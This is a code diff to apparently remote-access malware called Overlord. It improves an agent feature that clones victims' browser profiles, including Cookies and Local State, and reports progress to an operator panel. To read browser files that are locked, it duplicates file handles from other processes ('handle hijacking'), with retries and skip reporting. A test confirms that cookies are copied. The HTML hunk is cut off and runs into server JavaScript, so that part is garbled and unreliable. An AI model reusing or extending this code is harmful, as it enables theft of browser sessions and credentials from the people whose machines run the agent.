diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go index 889e30c..3c642ab 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go @@ -637,20 +637,52 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr // Calculate total size for progress reporting var totalBytes int64 + var progressMu sync.Mutex + progress := func(percent int, copiedBytes, totalBytes int64, status string) { + if onProgress == nil { + return + } + progressMu.Lock() + defer progressMu.Unlock() + defer func() { + if r := recover(); r != nil { + log.Printf("[panic] backstage %s clone progress callback: %v", browserName, r) + } + }() + onProgress(percent, copiedBytes, totalBytes, status) + } if onProgress != nil { - onProgress(0, 0, 0, "scanning") + progress(0, 0, 0, "scanning") totalBytes = calcCloneSize(srcUserData, skipDirs) - onProgress(0, 0, totalBytes, "cloning") + progress(0, 0, totalBytes, "cloning") } type copyJob struct { - src string - dst string + src string + dst string + rel string + size int64 } var jobs []copyJob collectFile := func(src, dst string) { - jobs = append(jobs, copyJob{src: src, dst: dst}) + if isCloneLockFileName(filepath.Base(src)) { + return + } + info, err := os.Lstat(src) + if err != nil { + log.Printf("backstage %s: warning: could not stat %s: %v", browserName, src, err) + return + } + if !isCloneableFile(info) { + log.Printf("backstage %s: skipping non-regular file %s", browserName, src) + return + } + rel, err := filepath.Rel(srcUserData, src) + if err != nil { + rel = src + } + jobs = append(jobs, copyJob{src: src, dst: dst, rel: rel, size: info.Size()}) } // Get browser info to check profile structure @@ -708,37 +740,95 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr jobCh := make(chan copyJob, 256) var wg sync.WaitGroup var copiedBytes atomic.Int64 + var failedCopies atomic.Int64 var lastPercent atomic.Int32 lastPercent.Store(-1) + copyProgress := func(status string) { + if onProgress == nil { + return + } + cur := copiedBytes.Load() + if totalBytes > 0 && cur > totalBytes { + cur = totalBytes + } + pct := 0 + if totalBytes > 0 { + pct = int(cur * 100 / totalBytes) + if pct > 100 { + pct = 100 + } + } + progress(pct, cur, totalBytes, status) + } + reportProgress := func(n int64) { if onProgress == nil || totalBytes <= 0 || n <= 0 { return } cur := copiedBytes.Add(n) + if cur > totalBytes { + cur = totalBytes + } pct := int32(cur * 100 / totalBytes) if pct > 100 { pct = 100 } prev := lastPercent.Load() if pct > prev && lastPercent.CompareAndSwap(prev, pct) { - onProgress(int(pct), cur, totalBytes, "cloning") + progress(int(pct), cur, totalBytes, "cloning") } } - for i := 0; i < numWorkers; i++ { + copyAttempt := func(job copyJob) (n int64, err error) { + defer func() { + if r := recover(); r != nil { + err = fmt.Errorf("panic while copying %s: %v", job.src, r) + } + }() + return forceCopyFile(job.src, job.dst) + } + + const ( + cloneCopyMaxAttempts = 3 + cloneCopyRetryDelay = 750 * time.Millisecond + ) + + copyOne := func(job copyJob) (int64, error) { + var lastErr error + for attempt := range cloneCopyMaxAttempts { + if attempt == 0 { + copyProgress("copying|" + job.rel) + } else { + copyProgress(fmt.Sprintf("retrying|%d|%d|%s|%v", attempt+1, cloneCopyMaxAttempts, job.rel, lastErr)) + } + + n, err := copyAttempt(job) + if err == nil { + return n, nil + } + lastErr = err + log.Printf("backstage %s: copy attempt %d/%d failed for %s: %v", browserName, attempt+1, cloneCopyMaxAttempts, job.src, err) + if attempt+1 < cloneCopyMaxAttempts { + time.Sleep(cloneCopyRetryDelay) + } + } + return 0, lastErr + } + + for range numWorkers { wg.Add(1) go func() { defer wg.Done() - defer func() { - if r := recover(); r != nil { - log.Printf("[panic] backstage file copy worker: %v", r) - } - }() for job := range jobCh { - n, err := forceCopyFile(job.src, job.dst) + n, err := copyOne(job) if err != nil { - log.Printf("backstage %s: warning: could not copy %s: %v", browserName, job.src, err) + failedCopies.Add(1) + copyProgress(fmt.Sprintf("skipped|%s|%v", job.rel, err)) + log.Printf("backstage %s: error: could not copy %s after retries; continuing: %v", browserName, job.src, err) + if job.size > 0 { + reportProgress(job.size) + } } else { reportProgress(n) } @@ -753,22 +843,45 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr wg.Wait() if onProgress != nil { - onProgress(100, totalBytes, totalBytes, "done") + if failed := failedCopies.Load(); failed > 0 { + progress(100, totalBytes, totalBytes, fmt.Sprintf("done_with_errors|%d", failed)) + } else { + progress(100, totalBytes, totalBytes, "done") + } } return cloneBase, nil } +func isCloneableFile(info os.FileInfo) bool { + if info == nil { + return false + } + mode := info.Mode() + return mode.IsRegular() && mode&os.ModeSymlink == 0 +} + +func isCloneLockFileName(name string) bool { + return strings.EqualFold(name, "LOCK") || strings.EqualFold(name, "lockfile") +} + +func isCloneableDirEntry(entry os.DirEntry) bool { + return entry != nil && entry.IsDir() && entry.Type()&os.ModeSymlink == 0 +} + func collectProfileDir(src, dst string, skipDirs map[string]bool, collect func(string, string)) { entries, err := os.ReadDir(src) if err != nil { return } for _, entry := range entries { + if entry.Type()&os.ModeSymlink != 0 { + continue + } name := entry.Name() s := filepath.Join(src, name) d := filepath.Join(dst, name) - if entry.IsDir() { + if isCloneableDirEntry(entry) { if skipDirs[strings.ToLower(name)] { continue } @@ -781,7 +894,19 @@ func collectProfileDir(src, dst string, skipDirs map[string]bool, collect func(s func collectDirFiles(src, dst string, collect func(string, string)) { filepath.Walk(src, func(path string, info os.FileInfo, err error) error { - if err != nil || info.IsDir() { + if err != nil { + return nil + } + if info.Mode()&os.ModeSymlink != 0 { + if info.IsDir() { + return filepath.SkipDir + } + return nil + } + if info.IsDir() { + return nil + } + if isCloneLockFileName(filepath.Base(path)) || !isCloneableFile(info) { return nil } rel, _ := filepath.Rel(src, path) @@ -808,7 +933,7 @@ func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 { for _, entry := range entries { name := entry.Name() p := filepath.Join(srcUserData, name) - if entry.IsDir() { + if isCloneableDirEntry(entry) { isProfile := false if isFirefox { isProfile = isFirefoxProfile(name) @@ -821,8 +946,8 @@ func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 { } else if !skipDirs[strings.ToLower(name)] { total += calcDirSize(p) } - } else { - if info, err := entry.Info(); err == nil { + } else if !isCloneLockFileName(name) { + if info, err := entry.Info(); err == nil && isCloneableFile(info) { total += info.Size() } } @@ -839,12 +964,12 @@ func calcProfileSize(dir string, skipDirs map[string]bool) int64 { for _, entry := range entries { name := entry.Name() p := filepath.Join(dir, name) - if entry.IsDir() { + if isCloneableDirEntry(entry) { if !skipDirs[strings.ToLower(name)] { total += calcDirSize(p) } - } else { - if info, err := entry.Info(); err == nil { + } else if !isCloneLockFileName(name) { + if info, err := entry.Info(); err == nil && isCloneableFile(info) { total += info.Size() } } @@ -854,11 +979,17 @@ func calcProfileSize(dir string, skipDirs map[string]bool) int64 { func calcDirSize(dir string) int64 { var total int64 - filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error { + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { if err != nil { return nil } - if !info.IsDir() { + if info.Mode()&os.ModeSymlink != 0 { + if info.IsDir() { + return filepath.SkipDir + } + return nil + } + if !info.IsDir() && !isCloneLockFileName(filepath.Base(path)) && isCloneableFile(info) { total += info.Size() } return nil diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go index a82b2d8..9a67014 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go @@ -3,7 +3,10 @@ package capture import ( + "os" + "path/filepath" "slices" + "strings" "syscall" "testing" ) @@ -54,6 +57,64 @@ func TestAppendEnvironmentOverridesPreservesUnicodeAndReplacesRDI(t *testing.T) } } +func TestCloneBrowserProfileProgressPanicDoesNotAbortCopy(t *testing.T) { + src := t.TempDir() + if err := os.WriteFile(filepath.Join(src, "Local State"), []byte("state"), 0600); err != nil { + t.Fatalf("write Local State: %v", err) + } + profileDir := filepath.Join(src, "Default") + if err := os.MkdirAll(profileDir, 0700); err != nil { + t.Fatalf("mkdir profile: %v", err) + } + if err := os.WriteFile(filepath.Join(profileDir, "Cookies"), []byte("cookies"), 0600); err != nil { + t.Fatalf("write Cookies: %v", err) + } + if err := os.WriteFile(filepath.Join(profileDir, "LOCK"), []byte("lock"), 0600); err != nil { + t.Fatalf("write LOCK: %v", err) + } + if err := os.WriteFile(filepath.Join(profileDir, "lockfile"), []byte("lockfile"), 0600); err != nil { + t.Fatalf("write lockfile: %v", err) + } + var statuses []string + + cloneDir, err := cloneBrowserProfile("Chrome", src, false, func(percent int, copiedBytes, totalBytes int64, status string) { + statuses = append(statuses, status) + if status == "cloning" || percent == 100 { + panic("progress callback failed") + } + }) + if err != nil { + t.Fatalf("cloneBrowserProfile: %v", err) + } + if !slices.ContainsFunc(statuses, func(status string) bool { + return strings.HasPrefix(status, "copying|") + }) { + t.Fatalf("clone progress did not report current copy file: %#v", statuses) + } + + if got, err := os.ReadFile(filepath.Join(cloneDir, "Local State")); err != nil || string(got) != "state" { + t.Fatalf("cloned Local State = %q, %v", got, err) + } + if got, err := os.ReadFile(filepath.Join(cloneDir, "Default", "Cookies")); err != nil || string(got) != "cookies" { + t.Fatalf("cloned Cookies = %q, %v", got, err) + } + for _, skipped := range []string{"LOCK", "lockfile"} { + if _, err := os.Stat(filepath.Join(cloneDir, "Default", skipped)); !os.IsNotExist(err) { + t.Fatalf("lock file %s should not be cloned; stat err=%v", skipped, err) + } + } +} + +func TestGetProcessesLockingFileShortPathDoesNotPanic(t *testing.T) { + defer func() { + if r := recover(); r != nil { + t.Fatalf("getProcessesLockingFile panicked for short path: %v", r) + } + }() + + _ = getProcessesLockingFile("a") +} + func testEnvironmentBlock(t *testing.T, entries ...string) []uint16 { t.Helper() diff --git a/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go b/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go index 87c5f2b..1f2a082 100644 --- a/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go +++ b/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go @@ -3,6 +3,7 @@ package capture import ( + "errors" "io" "log" "os" @@ -59,6 +60,8 @@ const ( fileTypeDisk = 0x0001 ) +var errHijackHandleNotFound = errors.New("matching locked file handle not found") + type systemHandleTableEntryInfoEx struct { Object uintptr UniqueProcessId uintptr @@ -80,7 +83,24 @@ func forceReadFile(filePath string) ([]byte, error) { } log.Printf("[handle-hijack] file locked, attempting hijack: %s", filePath) + dupHandle, hijackErr := duplicateLockedFileHandle(filePath, err) + if hijackErr != nil { + return nil, hijackErr + } + defer procCloseHandle.Call(dupHandle) + data = readFileFromHandle(dupHandle) + if data == nil { + return nil, err + } + log.Printf("[handle-hijack] read %d bytes via hijacking", len(data)) + return data, nil +} + +func duplicateLockedFileHandle(filePath string, fallbackErr error) (uintptr, error) { + if fallbackErr == nil { + fallbackErr = errHijackHandleNotFound + } lockingPids := getProcessesLockingFile(filePath) currentProcess, _, _ := procGetCurrentProcess.Call() @@ -101,7 +121,7 @@ func forceReadFile(filePath string) ([]byte, error) { continue } if status != 0 { - return nil, err + return 0, fallbackErr } break } @@ -171,18 +191,21 @@ func forceReadFile(filePath string) ([]byte, error) { } log.Printf("[handle-hijack] found matching handle from PID %d", pid) - data := readFileFromHandle(dupHandle) - procCloseHandle.Call(dupHandle) - if data != nil { - log.Printf("[handle-hijack] read %d bytes via hijacking", len(data)) - return data, nil - } + return dupHandle, nil } - return nil, err + return 0, fallbackErr } func forceCopyFile(src, dst string) (int64, error) { + if shouldTryHijackBeforeCopy(src) { + n, err := copyFileViaHijack(src, dst, nil) + if err == nil { + return n, nil + } + log.Printf("[handle-hijack] pre-copy hijack failed for %s: %v; falling back to normal copy", src, err) + } + n, err := copyFileCount(src, dst) if err == nil { return n, nil @@ -191,18 +214,50 @@ func forceCopyFile(src, dst string) (int64, error) { return 0, err } - data, hijackErr := forceReadFile(src) - if hijackErr != nil || data == nil { + n, hijackErr := copyFileViaHijack(src, dst, err) + if hijackErr != nil { + log.Printf("[handle-hijack] locked-file hijack failed for %s: %v", src, hijackErr) + return 0, hijackErr + } + return n, nil +} + +func shouldTryHijackBeforeCopy(src string) bool { + lower := strings.ToLower(filepath.ToSlash(src)) + return strings.Contains(lower, "/gpupersistentcache/") || strings.HasSuffix(lower, "/cache.db") +} + +func copyFileViaHijack(src, dst string, fallbackErr error) (int64, error) { + log.Printf("[handle-hijack] attempting streaming hijack copy: %s", src) + dupHandle, hijackErr := duplicateLockedFileHandle(src, fallbackErr) + if hijackErr != nil { + return 0, hijackErr + } + return copyDuplicatedHandleToFile(src, dst, dupHandle) +} + +func copyDuplicatedHandleToFile(src, dst string, dupHandle uintptr) (int64, error) { + in := os.NewFile(dupHandle, src) + if in == nil { + procCloseHandle.Call(dupHandle) + return 0, os.ErrInvalid + } + defer in.Close() + + if err := os.MkdirAll(getDir(dst), 0700); err != nil { return 0, err } + out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) + if err != nil { + return 0, err + } + defer out.Close() - if mkErr := os.MkdirAll(getDir(dst), 0700); mkErr != nil { - return 0, mkErr + n, err := io.Copy(out, in) + if err == nil { + log.Printf("[handle-hijack] copied %d bytes via hijacked handle", n) } - if wErr := os.WriteFile(dst, data, 0600); wErr != nil { - return 0, wErr - } - return int64(len(data)), nil + return n, err } func getDir(path string) string { @@ -242,7 +297,6 @@ func readFileFromHandle(handle uintptr) []byte { if ok == 0 || fileSize <= 0 { return nil } - baseAddr, _, _ := procMapViewOfFile.Call( hMapping, fileMapRead, 0, 0, uintptr(fileSize), ) @@ -283,7 +337,11 @@ type rmProcessInfo struct { } func getProcessesLockingFile(filePath string) []uint32 { - sessionKey, _ := syscall.UTF16PtrFromString("ovd_" + filePath[len(filePath)-8:]) + suffixStart := len(filePath) - 8 + if suffixStart < 0 { + suffixStart = 0 + } + sessionKey, _ := syscall.UTF16PtrFromString("ovd_" + filePath[suffixStart:]) var sessionHandle uint32 ret, _, _ := procRmStartSession.Call( diff --git a/Overlord-Server/public/assets/backstage.js b/Overlord-Server/public/assets/backstage.js index 5dff681..da5a0a3 100644 --- a/Overlord-Server/public/assets/backstage.js +++ b/Overlord-Server/public/assets/backstage.js @@ -422,7 +422,109 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const cloneProgressBar = document.getElementById("cloneProgressBar"); const cloneProgressPct = document.getElementById("cloneProgressPct"); const cloneProgressLabel = document.getElementById("cloneProgressLabel"); + const cloneSkippedList = document.getElementById("cloneSkippedList"); let cloneHideTimer = null; + let cloneSkippedExpanded = false; + let cloneSkippedFiles = []; + + function renderCloneSkippedList() { + if (!cloneSkippedList || !cloneProgressLabel) return; + cloneProgressLabel.setAttribute("aria-expanded", cloneSkippedExpanded ? "true" : "false"); + if (!cloneSkippedExpanded || cloneSkippedFiles.length === 0) { + cloneSkippedList.classList.add("hidden"); + cloneSkippedList.replaceChildren(); + return; + } + + cloneSkippedList.replaceChildren(); + for (const item of cloneSkippedFiles) { + const row = document.createElement("div"); + row.className = "border-b border-slate-800 py-1 last:border-b-0"; + + const file = document.createElement("div"); + file.className = "font-mono text-violet-200 break-all"; + file.textContent = item.file || "unknown file"; + row.appendChild(file); + + if (item.error) { + const err = document.createElement("div"); + err.className = "mt-1 text-rose-300 break-all"; + err.textContent = item.error; + row.appendChild(err); + } + + cloneSkippedList.appendChild(row); + } + cloneSkippedList.classList.remove("hidden"); + } + + function setCloneSkippedExpanded(expanded) { + cloneSkippedExpanded = Boolean(expanded && cloneSkippedFiles.length > 0); + renderCloneSkippedList(); + } + + function addCloneSkipped(status) { + const parts = String(status || "").split("|"); + if (parts[0] !== "skipped") return; + const file = parts[1] || ""; + const error = parts.slice(2).join("|"); + const key = `${file}\n${error}`; + if (!cloneSkippedFiles.some((item) => `${item.file}\n${item.error}` === key)) { + cloneSkippedFiles.push({ file, error }); + } + renderCloneSkippedList(); + } + + cloneProgressLabel?.addEventListener("click", () => { + setCloneSkippedExpanded(!cloneSkippedExpanded); + }); + cloneProgressLabel?.addEventListener("keydown", (event) => { + if (event.key === "Enter" || event.key === " ") { + event.preventDefault(); + setCloneSkippedExpanded(!cloneSkippedExpanded); + } + }); + + function cloneProgressText(status, browser, copiedMB, totalMB) { + const parts = String(status || "").split("|"); + const kind = parts[0] || ""; + if (kind === "copying") { + const file = parts.slice(1).join("|"); + return { + text: `Copying ${browser} — ${file || "current file"}`, + title: file, + }; + } + if (kind === "retrying") { + const attempt = parts[1] || "?"; + const max = parts[2] || "?"; + const file = parts[3] || ""; + const err = parts.slice(4).join("|"); + return { + text: `Retrying ${browser} copy (${attempt}/${max}) — ${file || "current file"}`, + title: err ? `${file}\n${err}` : file, + }; + } + if (kind === "skipped") { + const file = parts[1] || ""; + const err = parts.slice(2).join("|"); + return { + text: `Skipped ${browser} copy — ${file || "file"}`, + title: err ? `${file}\n${err}` : file, + }; + } + if (kind === "failed") { + const detail = parts.slice(1).join("|"); + return { + text: `${browser} clone failed — ${detail || "copy error"}`, + title: detail, + }; + } + return { + text: `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`, + title: "", + }; + } function handleCloneProgress(msg) { if (!cloneProgressEl) return; @@ -437,30 +539,44 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s cloneHideTimer = null; } - if (status === "done") { - cloneProgressBar.style.width = "100%"; - cloneProgressPct.textContent = "100%"; - cloneProgressLabel.textContent = `${browser} clone complete`; - cloneHideTimer = setTimeout(() => { - cloneProgressEl.classList.add("hidden"); - cloneProgressEl.classList.remove("flex"); - }, 3000); - return; - } - cloneProgressEl.classList.remove("hidden"); cloneProgressEl.classList.add("flex"); if (status === "scanning") { + cloneSkippedFiles = []; + setCloneSkippedExpanded(false); cloneProgressBar.style.width = "0%"; cloneProgressPct.textContent = "…"; cloneProgressLabel.textContent = `Scanning ${browser} profile`; + cloneProgressLabel.title = ""; return; } + if (String(status).startsWith("skipped|")) { + addCloneSkipped(status); + } + + if (status === "done" || String(status).startsWith("done_with_errors|")) { + cloneProgressBar.style.width = "100%"; + cloneProgressPct.textContent = "100%"; + const failedCount = String(status).startsWith("done_with_errors|") ? String(status).split("|")[1] || "0" : ""; + cloneProgressLabel.textContent = failedCount ? `${browser} clone complete — ${failedCount} skipped (click to expand)` : `${browser} clone complete`; + cloneProgressLabel.title = failedCount ? `${failedCount} file(s) failed to copy. Click to expand.` : ""; + if (!failedCount) { + cloneHideTimer = setTimeout(() => { + cloneProgressEl.classList.add("hidden"); + cloneProgressEl.classList.remove("flex"); + setCloneSkippedExpanded(false); + }, 3000); + } + return; + } + + const detail = cloneProgressText(status, browser, copiedMB, totalMB); cloneProgressBar.style.width = `${pct}%`; cloneProgressPct.textContent = `${pct}%`; - cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`; + cloneProgressLabel.textContent = detail.text; + cloneProgressLabel.title = detail.title; } const dxgiStatusEl = document.getElementById("dxgiStatus"); diff --git a/Overlord-Server/public/backstage.html b/Overlord-Server/public/backstage.html index 7c3278c..a28290b 100644 --- a/Overlord-Server/public/backstage.html +++ b/Overlord-Server/public/backstage.html @@ -48,14 +48,15 @@
: {}; + const browser = String(data.browser || ""); + const status = String(data.status || ""); + if (status.startsWith("copying|") || status.startsWith("retrying|")) { + logger.debug(`[backstage] clone client=${clientId} browser=${browser} status=${status}`); + } else if (status.startsWith("failed|") || status.startsWith("skipped|") || status.startsWith("done_with_errors|")) { + logger.warn(`[backstage] clone client=${clientId} browser=${browser} status=${status}`); + } for (const session of sessionManager.getbackstageSessionsForClient(clientId)) { safeSendViewer(session.viewer, { type: "backstage_clone_progress", - browser: String(payload.browser || ""), - percent: Number(payload.percent) || 0, - copiedBytes: Number(payload.copiedBytes) || 0, - totalBytes: Number(payload.totalBytes) || 0, - status: String(payload.status || ""), + browser, + percent: Number(data.percent) || 0, + copiedBytes: Number(data.copiedBytes) || 0, + totalBytes: Number(data.totalBytes) || 0, + status, }); } }